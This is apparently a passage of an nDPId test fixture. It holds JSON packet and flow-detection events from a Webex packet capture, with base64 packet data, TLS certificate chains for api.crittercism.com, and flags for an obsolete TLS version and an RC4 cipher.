+01078{"flow_id":46,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1249,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":469003,"pkt_caplen":551,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":551,"pkt_l4_len":517,"pkt":"ABoRAAACABoRAAABCABFAAIZA21AABAGH+BOLu1bCggAAQBQ6W3tNUJ0Esq+21AY\/\/\/ZQQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNi4zDQpEYXRlOiBTdW4sIDExIE9jdCAyMDE1IDEzOjM4OjI1IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0ZjgNClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpYLVBvd2VyZWQtQnk6IHBocERhZW1vbi8xLjAtYmV0YTMNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctSGVhZGVyczogT3JpZ2luLCBYLVJlcXVlc3RlZC1XaXRoLCBDb250ZW50LVR5cGUsIEFjY2VwdA0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctTWV0aG9kczogR0VULCBQT1NULCBQVVQsIE9QVElPTlMNClgtUFctQ2x1c3Rlci1Ob2RlOiBhcGktMjcNClgtUFctRnJvbnQtTm9kZTogZnJvbnQtMDYNCg0KMzkNCnsic3RhdHVzX2NvZGUiOjIwMCwic3RhdHVzX21lc3NhZ2UiOiJPSyIsInJlc3BvbnNlIjpudWxsfQ0KMA0KDQo="} +00408{"flow_id":46,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1250,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":469610,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoZg9AAEAGjy4KCAABTi7tW+ltAFASyr7b7TVEZVAQPLhAiwAA"} +02277{"flow_id":44,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1251,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":636393,"pkt_caplen":1436,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1436,"pkt_l4_len":1402,"pkt":"ABoRAAACABoRAAABCABFAAWOA25AABAGAPU28SAOCggAAQG7tIMuvh650UHiIFAY\/\/9jGQAAFgMBADUCAAAxAwH\/zw1+R1s0KR\/IbYZc2PfwME+dJgV6XwqJg7QSDec4RwAABAAACf8BAAEAACMAABYDARUwCwAVLAAVKQAFXzCCBVswggRDoAMCAQICEQCdQkMK1N5I61mRiSe3ehiVMA0GCSqGSIb3DQEBCwUAMIGQMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDE2MDQGA1UEAxMtQ09NT0RPIFJTQSBEb21haW4gVmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENBMB4XDTE1MDExNDAwMDAwMFoXDTIwMDExMzIzNTk1OVowXjEhMB8GA1UECxMYRG9tYWluIENvbnRyb2wgVmFsaWRhdGVkMR0wGwYDVQQLExRQb3NpdGl2ZVNTTCBXaWxkY2FyZDEaMBgGA1UEAxQRKi5jcml0dGVyY2lzbS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDAA3Xo3VrVGoNjyfTAnteqZvMRorFsBcUmNRAU6O+fIOFTL2HBerzVacL6iN\/3e7tpoDj2G0w99h2ljpFbJOOs\/5LDXbOzMiiK8em0O4stpmdJ9XRPPsl84S9c28oFVY\/CA7mcBU9DG82SqcJZfVXMNJurlcwFqncer+B2cLhO1Q9vNeDwrd\/08ONxH63Sc\/9e7XYbjGiq6U9Xfe2sGRd48e5GR+\/P5VKk5mkWAf53\/POZofrKGaVDhb8CMN4vf32VkZ40mYSlZEqJ3t2185CGnvcQKrLsr1Vyfu+NpjHbnnm6UL5ga+eAf8pLU8s43gOdvEzjgjDHC3KGqzfgebXLAgMBAAGjggHfMIIB2zAfBgNVHSMEGDAWgBSQr2o6lFoL2JDqElZz30O0Oija5zAdBgNVHQ4EFgQU4uzEA450c3G1fzDal95D9y1zepQwDgYDVR0PAQH\/BAQDAgWgMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCME8GA1UdIARIMEYwOgYLKwYBBAGyMQECAgcwKzApBggrBgEFBQcCARYdaHR0cHM6Ly9zZWN1cmUuY29tb2RvLmNvbS9DUFMwCAYGZ4EMAQIBMFQGA1UdHwRNMEswSaBHoEWGQ2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcmwwgYUGCCsGAQUFBwEBBHkwdzBPBggrBgEFBQcwAoZDaHR0cDovL2NydC5jb21vZG9jYS5jb20vQ09NT0RPUlNBRG9tYWluVmFsaWRhdGlvblNlY3VyZVNlcnZlckNBLmNydDAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuY29tb2RvY2EuY29tMC0GA1UdEQQmMCSCESouY3JpdHRlcmNpc20uY29tgg9jcml0dGVyY2lzbS5jb20wDQYJKoZIhvcNAQELBQADggEBAGq+UkpuPRjjFDs3mpC\/SrlpIrR8BTQFY+VlXzJ3FX8SYeKu4JQrG5GVN2SPnUZPHTl6bX8+4KbBOefRuHnFyExESoW58HeEYPo2e\/W8kKD0oCcIQsoegVwoq4oYnrSDEc+UOu15CKOMua55zVMl\/zRWRhX6eCTgJerJ43IB5UT+hQVZ+iWm7VBfNbh8pq4a59nca5ROC\/fSVCgTnwYTaD3QU4MXaIj\/7sFjaL8IgbDAVIFM\/bdNLqIMYozSbFQ="} +00795{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1251,"source":"webex.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":6,"flow_first_seen":1444570699074,"flow_last_seen":1444570699636,"flow_tot_l4_data_len":1738,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1402,"flow_avg_l4_data_len":289,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.241.32.14","src_port":46211,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"api.crittercism.com","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"c800cea031c10ffe47e1d72c9264577a","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00408{"flow_id":44,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1252,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":636941,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOj1AAEAGn4sKCAABNvEgDrSDAbvRQeIgLr4kH1AQQMhRhgAA"} +00502{"flow_id":44,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1253,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":639844,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"ABoRAAACABoRAAABCABFAABqA29AABAGBhg28SAOCggAAQG7tIMuviQf0UHiIFAY\/\/8nAwAALf4SsU2uf+VDXLMYtuAd7dAVY\/\/f85YQR3m3nhkc31shlW7dCqbyxdX2SoNIiptQr2Xh1S2KleiqoE0ylHUWfmYp"} +00408{"flow_id":44,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1254,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":640368,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOj5AAEAGn4oKCAABNvEgDrSDAbvRQeIgLr4kYVAQQMhRRAAA"} +02369{"flow_id":44,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1255,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":640774,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"ABoRAAACABoRAAABCABFAAXQA3BAABAGALE28SAOCggAAQG7tIMuviRh0UHiIFAY\/\/+2PgAAAAYMMIIGCDCCA\/CgAwIBAgIQKy5u6tl1NmwUim7bo3yMBzANBgkqhkiG9w0BAQwFADCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTQwMjEyMDAwMDAwWhcNMjkwMjExMjM1OTU5WjCBkDELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxNjA0BgNVBAMTLUNPTU9ETyBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAI7CAhnhoFmk6zg1jSz9AdDTScBkxwtiBUUWOqigwAwCfx3M28ShbXcDow+G+eMGnD4LgYqbSRutA776S9uMIO3Vzl5ljj4Nr0zCsLdFXlIvNN5IJGS0Qa4Al\/e+Z96e0HqnU4A7fK31llVvl0cKfIWLIpeNs4TgllfQcBhglo\/uLQeTnaG6ytHNe+nEKpooIZFNb5JPJaXyejXdJtxGpdCsWTWM\/06RQ1A\/WZMebFEh7lgUq\/51UHg+TLAchhP6a5i84DuUHoVS3AOTJBhuyydRReZw3iVDpA3hSqXttn7IzW3uLh0nc13cRTCAquOyQQuvvUSH2rnlG51\/ruWFgqUCAwEAAaOCAWUwggFhMB8GA1UdIwQYMBaAFLuvfgI9+qbxPISOre44mOzZMjLUMB0GA1UdDgQWBBSQr2o6lFoL2JDqElZz30O0Oija5zAOBgNVHQ8BAf8EBAMCAYYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwGwYDVR0gBBQwEjAGBgRVHSAAMAgGBmeBDAECATBMBgNVHR8ERTBDMEGgP6A9hjtodHRwOi8vY3JsLmNvbW9kb2NhLmNvbS9DT01PRE9SU0FDZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDBxBggrBgEFBQcBAQRlMGMwOwYIKwYBBQUHMAKGL2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQUFkZFRydXN0Q0EuY3J0MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5jb21vZG9jYS5jb20wDQYJKoZIhvcNAQEMBQADggIBAE4rdk+SHGI2ibp3wScF9BzWRJ2pmj6q1WZmAT7qSeaiNbz69t2Vjpk1mA42GHWx3d1Qcnyu3HeIzg\/3kCDKo2cuH1Z\/e+FE6kKVxF0NAVBGFfKBiVlsit2M8RKhjTpCipj4SzR7JzsItG8kO3KdY3RYPBpsP0\/HEZrIqPW1N+8QRcZs2eBelSaz662jue5\/DJpmNXMyYE7l3YphLG5SEXdoltMYdVEVABt0iN3hxzgEQyjpFv3ZBdRdRydg1vs4O2xyopT4Qhrf7W8GjEXCBgCq5Ojc2bXhc3js9iPc0d1sjhqPpepUfJa3w\/5Vjo1JXvxku88+vZbrac2\/4EjxYoIQ5QxGV\/Iz2tDIY+3GH5QFlkoakdH368+PUq4NCNk+qKBR6cGHdNXJ93SrLlP7u3r7l+L4HyaPs9Kg4DdbKDsx5Q5XLVq4rXmsXiBmGqW5prU5wfWYQ\/\/u+aen\/e7KJD2AFsQXj4rBYKEMrltDR5FL1ZoXX\/nUh8HCjLfn4g8wGTeGrODcQgPmlKidrv0PJFGUzpII0fxQ8AM="} +00409{"flow_id":44,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1256,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":641238,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOj9AAEAGn4kKCAABNvEgDrSDAbvRQeIgLr4qCVAQTzA9NAAA"} +02282{"flow_id":44,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1257,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":643002,"pkt_caplen":1436,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1436,"pkt_l4_len":1402,"pkt":"ABoRAAACABoRAAABCABFAAWOA3FAABAGAPI28SAOCggAAQG7tIMuvioJ0UHiIFAY\/\/\/EHAAAQHuIWe0O3azSd4I03AaVAtiQ+S3qN9UaYNBnINfYQgtFr4Jo3t1mJDeQKZQZRhkluIDXy9SGKGpEcCYjYqmfhm+\/upBw0lZ3hXjv6iWpF85QcowAOqrj22M0n\/gGcQHigiDU\/m+9sQAFeDCCBXQwggRcoAMCAQICECdm7lbrSfOOq9dwovyE3iIwDQYJKoZIhvcNAQEMBQAwbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDAeFw0wMDA1MzAxMDQ4MzhaFw0yMDA1MzAxMDQ4MzhaMIGFMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDErMCkGA1UEAxMiQ09NT0RPIFJTQSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJHoVJLSClaxrA0k3cXPRGd0mSs3o30jcABxvFPfxPoqEo9LfxBWvZ9wcrdhf8lLDxenPeOwBGHu\/xGXx\/SGPgr6Plz5k+Y0etkUa+ecs4Wggnp2r3GQ1+z9DfqcbPrfsIL0FH75vsSmL09\/mX+1\/GdDcr0MANaJ62ss0+2PmBwUq37l42782KjkkiTaQ2tiuFX96sG8bLaL8w6NmuSbbGmZ+HhIMEXVreENPEVg\/DKWUSe8Z8PKLrZr6kbHxyCgsR9l3kgIuqROqfKDRjeE6+jMgUhDZ05yKptcvUwbKIpcInu0q5jZ7uBRg8MJRk5tPpn6lRfafDNXQTyNUe0LtlyvLGMa31fIP7zpXcSbr0WZ4qNaJLS6qVY9z2+q\/0lYvvCo\/\/S4rek3+7q49As6+ehDQh6J2ITLE\/HZu+GJYLiMKFasFB2cCudx688O3T2plqFIvTz3r7UNIkzAEYHsVjv206LiW7eyBCJSlYCTaeiOTGXxkQMtcHQC6otnFSlpUgK7199QalVGv6CjKGF\/cNDDoqosIapHziicBkV2v4IYJ7TVrrTLUOZr9EyGcTDppt8WhuDY\/0Dd+9BCiH+jMzouXB5BEYFjzhhxayvspoq3MVw6akfgw3lZ1iAar\/JqmKpyvFdK0kuduxD8sExB5e0dPV4onZzMv7NR2qdH5YRTAgMBAAGjgfQwgfEwHwYDVR0jBBgwFoAUrb2YejS0Jvf6xCZU7wO94CTLVBowHQYDVR0OBBYEFLuvfgI9+qbxPISOre44mOzZMjLUMA4GA1UdDwEB\/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH\/MBEGA1UdIAQKMAgwBgYEVR0gADBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vQWRkVHJ1c3RFeHRlcm5hbENBUm9vdC5jcmwwNQYIKwYBBQUHAQEEKTAnMCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1c3QuY29tMA0GCSqGSIb3DQEBDAUAA4IBAQBkv4PxX5qF0M24oSlXDeha99HpPvJ2BG7xUnC7Hjz\/TQ10asyBgiXTw6AqXUz1uouhbcRUCXXH4ycOXYR5N0ATd\/W0rBzQO6sXEtbvNBh+K+l506tXRQyvKPrQ2+VQlYi734VXaX2S2FLKc4G\/HPPmuG5mEQWzHpQtf5GVklnxTM6jkXE="} +00409{"flow_id":44,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1258,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":643521,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOkBAAEAGn4gKCAABNvEgDrSDAbvRQeIgLr4vb1AQWoAsfgAA"} +02053{"flow_id":44,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1259,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":643969,"pkt_caplen":1272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1272,"pkt_l4_len":1238,"pkt":"ABoRAAACABoRAAABCABFAATqA3JAABAGAZU28SAOCggAAQG7tIMuvi9v0UHiIFAY\/\/8ORAAATHxHDDsLGfahsWyGPlyqxC6Cy\/kHlrpITZDylMipc6LrBnsjnd6i801Vn3phRZgYaMdeQGsj9Xl674y1a4u3b0b0e\/E9SwTYk4BZWuBBJB2yjxVgWEfb725G\/RX12V+as9vYuORAs82XOa6Fux2OvNyHm9Gm7\/E7bxA4bwAEOjCCBDYwggMeoAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDAeFw0wMDA1MzAxMDQ4MzhaFw0yMDA1MzAxMDQ4MzhaMG8xCzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEmMCQGA1UECxMdQWRkVHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsxIjAgBgNVBAMTGUFkZFRydXN0IEV4dGVybmFsIENBIFJvb3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC39xoz5vIABC054E5b7R+8bA\/Ntfojts7emxEzl6QpTH2Tn71KvJPtAxrjj8\/lbVBa1pcplFqAsEl62y6V\/bjKvzc4LR4+kUGtcFbH8E8\/6DKedMrIkFTpxl8PeJ2aQDwOrGGqXhSPnoehalDc15pOrwWzpnGUnHGzUGAKxxOdOAeGAqjpqGkmGJCrTLBPI6s6T4TY386f4Wlvu9dC12tE5Met7m1BX3JacQg3s3llpFmglDf3AC8NwpJy2tA4ctsUqEXEXSp9t7TWxO6szRNEt8kr3UMAJfphuWlqWCMRt6czj1Z1WfXNKddGtworZbbTQm8Vsrh7++\/pXVPVNFonAgMBAAGjgdwwgdkwHQYDVR0OBBYEFK29mHo0tCb3+sQmVO8DveAky1QaMAsGA1UdDwQEAwIBBjAPBgNVHRMBAf8EBTADAQH\/MIGZBgNVHSMEgZEwgY6AFK29mHo0tCb3+sQmVO8DveAky1QaoXOkcTBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290ggEBMA0GCSqGSIb3DQEBBQUAA4IBAQCwm+CFJcLWI+IPlgaSnUGYnNmEeYHZHlsUByM2ZY+w2He7rEFsR2CDUbD5Mj3n\/PYmE8eAFqW\/WvyHz3h5iSGa4kwHCoY1vPLeUcTSlrfcfk7ucP0cOesMAlEULY69FuDB30Z15ySt7PRCtIWTcBBnup0GNUoY0yt6zFFCoXpj0ea7ocUrwja+Ew3mvWN+eXunCQ1Aq2rdj4rD9vaMGkIFUdRF9Z+nYiFoFSBDPJnnfL0k2KmRF3OIP1YbMTgYtHEPms3IDp6OLhvhjJiDyx8x8URMxgRzSXZgD8f4vReAay7pzEwOWpp5DyAKLtWeYyYeVZKU2IIXWnvQvMePToYEFgMBAAQOAAAA"} +01134{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1259,"source":"webex.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":14,"flow_first_seen":1444570699074,"flow_last_seen":1444570699643,"flow_tot_l4_data_len":6012,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1468,"flow_avg_l4_data_len":429,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.241.32.14","src_port":46211,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"api.crittercism.com","server_names":"*.crittercism.com,crittercism.com","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"c800cea031c10ffe47e1d72c9264577a","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA","issuerDN":"OU=Domain Control Validated, OU=PositiveSSL Wildcard, CN=*.crittercism.com","fingerprint":"68:8B:FC:77:1E:CA:80:33:0C:A9:0E:29:A6:E4:0D:FC:3A:AE:43:18"}} +00409{"flow_id":44,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1260,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":644152,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOkFAAEAGn4cKCAABNvEgDrSDAbvRQeIgLr40MVAQZdAcbAAA"} +00408{"flow_id":34,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1263,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":864721,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoO9tAAEAGNl4KCAABUEpuRILnAbv7vABcBEQAfVAROQgouAAA"} +00410{"flow_id":34,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1264,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":864930,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA3RAABAGnsVQSm5ECggAAQG7gucERAB9+7wAXVAQ\/\/9hwAAA"} +00410{"flow_id":34,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1265,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":865096,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA3VAABAGnsRQSm5ECggAAQG7gucERAB9+7wAXVAR\/\/9hvwAA"} +00442{"flow_id":35,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1266,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":915340,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"ABoRAAACABoRAAABCABFAAA\/smlAAEAGv7gKCAABUEpuRILoAbtZhnl8pnmKQlAYPLgY5AAAFQMBABJgV68LS6YLMRfC0ydf82IUCbU="} +00411{"flow_id":35,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1267,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":915568,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA3ZAABAGnsNQSm5ECggAAQG7guimeYpCWYZ5k1AQ\/\/9exAAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1271,"source":"webex.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1444570699916,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33551,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1271,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":916083,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8M+lAAEAGPjwKCAABUEpuRIMPAbsBc+gmAAAAAKACOQj74QAAAgQFtAQCCAoATNvPAAAAAAEDAwY="} +00411{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1272,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":917636,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA3lAABAGnsBQSm5ECggAAQG7gw\/+jBfZAXPoJ1AS\/\/9icAAA"} +00409{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1273,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":917753,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoM+pAAEAGPk8KCAABUEpuRIMPAbsBc+gn\/owX2lAQOQgpaQAA"} +00705{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1274,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":968023,"pkt_caplen":270,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":270,"pkt_l4_len":236,"pkt":"ABoRAAACABoRAAABCABFAAEAM+tAAEAGPXYKCAABUEpuRIMPAbsBc+gn\/owX2lAYOQhMegAAFgMBANMBAADPAwFWGmZL3uOMxVToaE\/p7S\/f3l0TPSF72MmK+MgBnG9FXiBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgBGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0A